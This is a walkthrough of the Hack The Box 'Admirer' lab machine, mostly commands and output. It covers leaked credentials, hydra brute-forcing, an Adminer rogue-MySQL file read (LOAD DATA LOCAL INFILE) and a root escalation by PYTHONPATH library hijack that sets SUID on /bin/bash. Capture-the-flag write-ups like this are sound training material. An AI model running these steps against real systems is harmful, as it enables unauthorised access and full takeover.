HTB Admirer CTF Writeup
Easy-rated Linux box. FTP and robots.txt expose backup archives with leaked credentials. Adminer 4.6.2 is exploited via CVE-2021-43008 for arbitrary file reads from the database server. A sudo rule with SETENV enables Python library hijacking via PYTHONPATH to escalate to root.
HTB Admirer CTF
Summary
Admirer is an Easy-difficulty Linux machine featuring web enumeration, Adminer exploitation, and Python library hijacking. Initial enumeration reveals /admin-dir via robots.txt, containing contacts.txt and credentials.txt which leak FTP credentials ftpuser:%n?4Wz}R$tTF7. The FTP server hosts backup files (dump.sql and html.tar.gz) containing multiple database passwords and revealing the existence of /utility-scripts/. Directory enumeration locates adminer.php, a database management interface. By connecting Adminer to an attacker-controlled MySQL server and exploiting CVE-2021-43008 (arbitrary file read), the production index.php file is read, exposing current database credentials waldo:&<h5b~yK3F#{PaPB&dA}{H> for SSH access. Privilege escalation is achieved by exploiting the SETENV sudo permission on /opt/scripts/admin_tasks.sh, which calls /opt/scripts/backup.py. A malicious shutil.py module is created in waldo’s home directory, and by manipulating the PYTHONPATH environment variable, Python library hijacking is performed to set the SUID bit on /bin/bash, granting root access.
Lesson Learned
If there’s a directory, bruteforce it. Do not forget to enumerate all directories. Enumerate directories. Use common extensions.
Do not trust on searchsploit completely. Google for the software version, and search the softwrare in CVEDetails. I trusted the output from searchsploit fully (mainly because the machine was rated “easy”) and the software ended up being vulnerable but the exploit was not listed in exploitdb.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Nmap 7.93 scan initiated Mon Dec 22 08:02:06 2025 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 1500 10.129.43.67
Nmap scan report for 10.129.43.67
Host is up, received syn-ack (0.18s latency).
Scanned at 2025-12-22 08:02:07 -03 for 61s
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
22/tcp open ssh syn-ack OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a71e92163699dcbdd84021a2397e1b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9
| 256 c595b6214d46a425557a873e19a8e702 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII=
| 256 d02dddd05c42f87b315abe57c4a9a756 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP
80/tcp open http syn-ack Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-title: Admirer
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 22 08:03:08 2025 -- 1 IP address (1 host up) scanned in 61.99 seconds
Web Server Enumeration
The web server contains a bunch of images/arts:
It has this contact form at the bottom:
I use it, but it doesn’t seem like it’s working. I can see in the web page’s source code this html comment, right next to the code for the contact form:
<!-- Still under development... This does not send anything yet, but it looks nice! -->
So yeah, it’s not working yet. To enumerate the backend, I try accessing “index.html” at http://10.129.43.67/index.html but I get a 404 not found error. If I access “index.php” though http://10.129.43.67/index.php it works.
This tells me the back-end likely runs PHP. I can see from the nmap scan there’s a robots.txt in the web server:
1
2
| http-robots.txt: 1 disallowed entry
|_/admin-dir
With the following contents (http://10.129.43.67/robots.txt):
1
2
3
4
User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
It discloses a potential username: waldo.
Directory Bruteforce
I use the following ffuf command to bruteforce for files inside /admin-dir:
1
ffuf -u http://10.129.43.67/admin-dir/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words.txt -t 50 -e .html,.htm,.php,.asp,.aspx,.jsp,.shtml,.xhtml,.jhtml,.css,.scss,.sass,.less,.js,.mjs,.json,.jsx,.ts,.tsx,.jpg,.jpeg,.png,.gif,.svg,.webp,.ico,.bmp,.tif,.tiff,.pdf,.txt,.doc,.docx,.xls,.xlsx,.ppt,.pptx,.xml,.mp4,.webm,.avi,.mov,.wmv,.flv,.mkv,.m4v,.mp3,.wav,.ogg,.m4a,.aac,.wma,.flac,.zip,.rar,.tar,.gz,.7z,.bz2,.tgz,.woff,.woff2,.ttf,.otf,.eot,.json,.xml,.csv,.yaml,.yml,.sql,.db,.rss,.atom,.swf,.map,.wasm
Eventually I get a hit:
1
contacts.txt [Status: 200, Size: 350, Words: 19, Lines: 30, Duration: 189ms]
This file contains a bunch of contacts:
More specifically:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
##########
# admins #
##########
# Penny
Email: [email protected]
##############
# developers #
##############
# Rajesh
Email: [email protected]
# Amy
Email: [email protected]
# Leonard
Email: [email protected]
#############
# designers #
#############
# Howard
Email: [email protected]
# Bernadette
Email: [email protected]
Since the robots.txt file mentions the word “contacts” specifically and the file name is “contacts.txt”, I can only assume there’s another file in there named “creds.txt” or a variation.
I try “creds.txt” but it doesn’t exist. Then I try “credentials.txt” and it works:
1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
[email protected]
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
Merging the contacts.txt file from earlier I create “users.txt” with all the users I know till now:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p.wise
penny
rajesh
r.nayyar
amy
a.bialik
leonard
l.galecki
howard
h.helberg
bernadette
b.rauch
waldo
w.cooper
ftpuser
admin
I also create “passwords.txt”:
1
2
3
fgJr6q#S\W:$P
%n?4Wz}R$tTF7
w0rdpr3ss01!
Credential Bruteforcing
I use hydra to bruteforce access using the users.txt and passwords.txt file acquired:
1
hydra -L users.txt -P passwords.txt ftp://10.129.43.67
It eventually returns a valid credential:
More specifically:
1
2
Username: ftpuser
Password: %n?4Wz}R$tTF7
I also try the same parameters, but this time for SSH instead of FTP:
1
hydra -L users.txt -P passwords.txt ssh://10.129.43.67
The same user can log in to the SSH server as well:
I try connecting to the machine via SSH but my connection is instantly dropped:
It seems like the “ftpuser” user has no shell access to the machine. I can connect to the FTP server though (ftp 10.129.43.67):
FTP Enumeration
I connect to the FTP server using credentials obtained earlier. The server allows me to download two files:
1
2
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
I get them both:
1
2
ftp> get dump.sql
ftp> get html.tar.gz
There’s nothing interesting in dump.sql, no user or password, but the public information I can see in the webpage’s home page:
1
2
3
4
5
6
7
8
9
10
11
DROP TABLE IF EXISTS `items`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `items` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`thumb_path` text NOT NULL,
`image_path` text NOT NULL,
`title` text NOT NULL,
`text` text,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4;
I decompress the tar archive:
1
tar -xvzf html.tar.gz
Excluding a few unwanted directories like images/ and assets/ (tree -I assets -I images), this is how the structure looks like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.
├── dump.sql
├── html.tar
├── index.php
├── robots.txt
├── utility-scripts
│ ├── admin_tasks.php
│ ├── db_admin.php
│ ├── info.php
│ └── phptest.php
└── w4ld0s_s3cr3t_d1r
├── contacts.txt
└── credentials.txt
3 directories, 10 files
The db_admin.php file in utility-scripts contains cleartext credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
// Create connection
$conn = new mysqli($servername, $username, $password);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
// TODO: Finish implementing this or find a better open source alternative
?>
The source code for index.php also leaks credentials:
1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
The credentials.txt file from this backup also adds a new entry:
1
2
3
[Bank Account]
waldo.11
Ezy]m27}OREc$
I add all those newly discovered passwords to passwords.txt. This is how the complete file looks like with all the passwords I could find until now:
1
2
3
4
5
6
fgJr6q#S\W:$P
%n?4Wz}R$tTF7
w0rdpr3ss01!
Ezy]m27}OREc$
Wh3r3_1s_w4ld0?
]F7jLHw:*G>UPrTo}~A"d6b
Initial Access - Adminer File Read Exploit
I enumerate /utility-scripts for directories and end up locating “adminer.php”. I head to http://10.129.43.67/utility-scripts/adminer.php and it asks me to connect to a database
I try using previous credentials, but none works. I set up a mariadb instance on my attacking machine using docker:
1
docker run --detach --name some-mariadb -p 3306:3306 --env MARIADB_ROOT_PASSWORD=my-secret-pw mariadb:latest
I fill in the necessary information (root password in this case is my-secret-pw from the command above):
Then I use the UI to create a database (http://10.129.43.67/utility-scripts/adminer.php?server=10.10.14.57&username=root&database=) named “pwn” and inside this database I created a table (http://10.129.43.67/utility-scripts/adminer.php?server=10.10.14.57&username=root&db=pwn&create=) named pwntable with only one column, the column can have any name. I set the column as type “text” and save it.
I go to my database, and select the “sql command option”
I exploit CVE-2021-43008 to read local system files. I first try “/etc/passwd” but got error: Error in query (2000): open_basedir restriction in effect. Unable to open file. So I tried reading the index.php source code:
1
LOAD DATA local INFILE '/var/www/html/index.php' INTO TABLE pwntable FIELDS TERMINATED BY "\n";
This is interesting because the index.php I got from the backup uses invalid credentials, and we know that the items are displayed in the index page via a database query. The items in the index page, in production, are shown, and this indicates that there has been a password change from the date of the backup we have to the version that’s in production.
If I access the table, I can see the contents of the file:
More specifically:
1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
Which is yet another password. I try this combination via SSH and it finally lets me in:
1
2
Username: waldo
Password: &<h5b~yK3F#{PaPB&dA}{H>
I connect via ssh:
1
sshpass -p '&<h5b~yK3F#{PaPB&dA}{H>' ssh [email protected]
Extra: Internal Enumeration
I know that “ftpuser” has SSH access to the machine. Despite that it has no shell access, I can still use this SSH login to open a socks proxy:
1
ssh -N -D 1080 [email protected]
I can use proxychains4 to enumerate locally open ports:
1
proxychains4 -q nmap 127.0.0.1 -A -oN scans/nmap.internal -vv
This gives me the following results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Nmap 7.93 scan initiated Mon Dec 22 08:44:52 2025 as: nmap -A -oN scans/nmap.internal 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.20s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a71e92163699dcbdd84021a2397e1b9 (RSA)
| 256 c595b6214d46a425557a873e19a8e702 (ECDSA)
|_ 256 d02dddd05c42f87b315abe57c4a9a756 (ED25519)
25/tcp open smtp?
| smtp-commands: admirer.htb Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Admirer
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0+deb9u2
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.1.48-MariaDB-0+deb9u2
| Thread ID: 97
| Capabilities flags: 63487
| Some Capabilities: DontAllowDatabaseTableColumn, Support41Auth, FoundRows, Speaks41ProtocolNew, SupportsTransactions, ODBCClient, Speaks41ProtocolOld, InteractiveClient, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongPassword, SupportsCompression, LongColumnFlag, IgnoreSigpipes, SupportsLoadDataLocal, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: ]79Y5<n6_[.qp^hlf;2(
|_ Auth Plugin Name: mysql_native_password
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 22 08:52:34 2025 -- 1 IP address (1 host up) scanned in 461.95 seconds
I can see SMTP is open on port 25 and mysql is open on port 3306. I try bruteforcing my way into the mysql server, but it never worked:
1
proxychains4 hydra -L users.txt -P passwords.txt mysql://127.0.0.1
I also tried the same for SMTP but no results either:
1
proxychains4 -q hydra -L users.txt -P passwords.txt smtp://127.0.0.1
Cool thing to keep in mind though, that despite not having shell access per-se via ssh, I can still forward ports.
Vertical Privilege Escalation
I know that waldo can run the following as root:
1
2
3
4
5
6
7
8
9
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
This is how admin_tasks.sh looks like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/bin/bash
view_uptime()
{
/usr/bin/uptime -p
}
view_users()
{
/usr/bin/w
}
view_crontab()
{
/usr/bin/crontab -l
}
backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;
*) echo "Unknown option." >&2
esac
exit 0
fi
# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")
echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;
*) echo "Unknown option." >&2
esac
done
exit 0
I can’t find any type of injection in the script, as user input is very limited. However, one thing that raises suspicion is the usage of this python script:
1
2
3
4
5
6
7
8
9
10
backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}
Why are they resorting to a python script in a different location, when everything else basically is done using bash? Makes me want to investigate. This is how backup.py looks like:
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
It’s importing a library, and if you remember from the sudo -l output:
1
(ALL) SETENV: /opt/scripts/admin_tasks.sh
The SETENV allows me to set some environment variables that will be passed on to the command being executed. With that, I can probably hijack the “shutil” library being used by backup.py.
I create “shutil.py” in waldo’s home directory with the following contents:
1
2
3
import os
os.system('chmod +s /bin/bash')
Their home folder looks like this:
1
2
3
4
waldo@admirer:~$ ls -l
total 48
-rw-r--r-- 1 waldo waldo 43 Dec 22 13:50 shutil.py
-rw-r----- 1 root waldo 33 Dec 22 10:54 user.txt
I run the script, passing my arbitrary PYTHONPATH variable:
1
sudo PYTHONPATH=/home/waldo -u root /opt/scripts/admin_tasks.sh
As you can see from the screenshot below, it says it failed to import “make_archive” which is a good sign since my shutil.py has no make_archive function:
If I check permissions for /bin/bash:
1
ls -la /bin/bash
I see it contains the SUID bit set now:
1
-rwsr-sr-x 1 root root 1099016 May 15 2017 /bin/bash
Now it’s just a matter of executing /bin/bash privileged to obtain a root shell:
1
/bin/bash -p
From the screenshot below you can see proof of exploitation:













